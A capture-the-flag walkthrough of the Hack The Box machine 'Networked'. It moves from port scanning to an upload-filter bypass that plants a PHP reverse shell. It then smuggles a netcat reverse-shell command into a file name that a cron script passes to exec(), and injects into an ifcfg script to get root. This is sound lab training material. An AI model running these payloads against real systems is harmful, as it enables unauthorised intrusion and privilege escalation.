Networked HTB

IP

10.10.10.146

initial nmap scan

sudo nmap -p- --min-rate 10000 10.10.10.146 | cut -d"/" -f1 | tr '\n' ','

we have the following ports open on the machine

22,80,443

Lets run a more in-depth scan of these ports

sudo nmap -sCV -p22,80,443 10.10.10.146 -oA nmap_scan

results

PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
|   256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_  256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp  open   http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
443/tcp closed https

looks like

  • the target machine is centos

  • both http and https

Lets navigate to port 80

we are greeted with

if we look at the page source we can see this website is planning on linking a upload and gallary

we could seem to find these directories through the url bar so lets perform some feroxbusting and see if we can find anything

feroxbuster -u http://10.10.10.146 -t 50 -L 5 -n -w /usr/share/seclists/SecLists-master/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php -o dirs.txt

we find the following

200      GET        8l       40w      229c http://10.10.10.146/
301      GET        7l       20w      236c http://10.10.10.146/uploads => http://10.10.10.146/uploads/
200      GET        5l       13w      169c http://10.10.10.146/upload.php
200      GET        0l        0w        0c http://10.10.10.146/lib.php
200      GET        8l       40w      229c http://10.10.10.146/index.php
301      GET        7l       20w      235c http://10.10.10.146/backup => http://10.10.10.146/backup/
200      GET       17l       98w     7046c http://10.10.10.146/uploads/127_0_0_2.png
200      GET       17l       98w     7046c http://10.10.10.146/uploads/127_0_0_1.png
200      GET       17l       98w     7046c http://10.10.10.146/uploads/127_0_0_4.png
200      GET       17l       98w     7046c http://10.10.10.146/uploads/127_0_0_3.png
200      GET       22l       88w     1302c http://10.10.10.146/photos.php
  • /uploads : no content is served

  • /uploads.php : which does give us the ability to upload a file

  • Since we know the webserver runs php and lets see if we can upload a php reverse shell

after trying to upload a php reverse shell we find that it only accepts image files

Lets catch the request with burp and see if we can play around with the request and get it to pass through the restrictions

Once we are in burp and sent the request to repeater we can find a way to bypass restrictions

we can see

  • we change the file extention from php to .php.png

  • we modified the Content-type: image/png

  • we also added a magic byte to try and pass of our php scripts as a png file

We can send this off

Lets start a listener

rlwrap -cAr nc -lvnp 9001

Now we can head over to `http://10.10.10.146/uploads/10_10_14_6.php.png`

Now when we check our listener we should have a hit

Priv Esc via apache

Lets stabilise our shell

python -c "import pty;pty.spawn('/bin/bash')"

when we look within the /home directory we can see a user account guly when looking at guly's home directory we can see the following

Looking through the crontab.guly we can see there is a cronjob in place to run the the check_attack.php script

*/3 * * * * php /home/guly/check_attack.php
  • we can see the crontab runs every 3 minutes

the check_attack.php script

<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
        $msg='';
  if ($value == 'index.html') {
        continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}

?>

What we can see is that this script checks for files that aren;t suppose to be in the uploads directory and deletes them, what is interesting is how this script deletes these files, it appends the filename to the rm command without filtering which in theory should make it vulnerable to command injection exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

the $path is the path of the uploads directory and $value is the sus file name

Plan of attack

we can simple place a file within the /var/www/html/uploads , within the filename holds the payload we want to execute, the file name will start with a semi colon ; (to inject a new command) then the command to establish a reverse-shell

cd /var/www/html/uploads
touch '; nc 10.10.14.6 9002 -c bash'

start our listner

rlwrap -cAr nc -lvnp 9002

Now we just wait for the cronjob to execute

after a couple of minutes we gain our shell

Lets upgrade our shell

python -c "import pty;pty.spawn('/bin/bash')"

checking our sudo privs

sudo -l

we can see the following

Lets have a look at this script

#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
        echo "interface $var:"
        read x
        while [[ ! $x =~ $regexp ]]; do
                echo "wrong input, try again"
                echo "interface $var:"
                read x
        done
        echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
  
/sbin/ifup guly0

#!/bin/bash -p

  • the -p option specifies to run the script in pivileged mode

cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
  • This part of the script uses a here document (<< EoF ... EoF) to create or overwrite the contents of the /etc/sysconfig/network-scripts/ifcfg-guly file.

  • It sets some initial parameters for the network interface (DEVICE, ONBOOT, NM_CONTROLLED).

regexp="^[a-zA-Z0-9_\ /-]+$"
  • Defines a regular expression (regexp) that allows alphanumeric characters, underscores, spaces, and hyphens.

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
  • Iterates through a list of network interface configuration variables (NAME, PROXY_METHOD, BROWSER_ONLY, BOOTPROTO).

    echo "interface $var:"
    read x
  • Prompts the user to input a value for the current configuration variable.

    while [[ ! $x =~ $regexp ]]; do
        echo "wrong input, try again"
        echo "interface $var:"
        read x
    done
  • Uses a loop to validate user input against the defined regular expression. If the input doesn't match, the user is prompted to try again.

    echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
  • Appends the validated input to the network interface configuration file

/sbin/ifup guly0
  • Attempts to bring up the network interface guly0 using the /sbin/ifup command.

Now how does this help us

we are only really interested in the NAME option because according to this page

we can inject commands in the interface name Lets try

[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
sudo /usr/local/sbin/changename.sh
interface NAME:
test bash
test bash
interface PROXY_METHOD:
test
test
interface BROWSER_ONLY:
test
test
interface BOOTPROTO:
test
test
[root@networked network-scripts]# whoami
whoami
root

just like that we are root

Last updated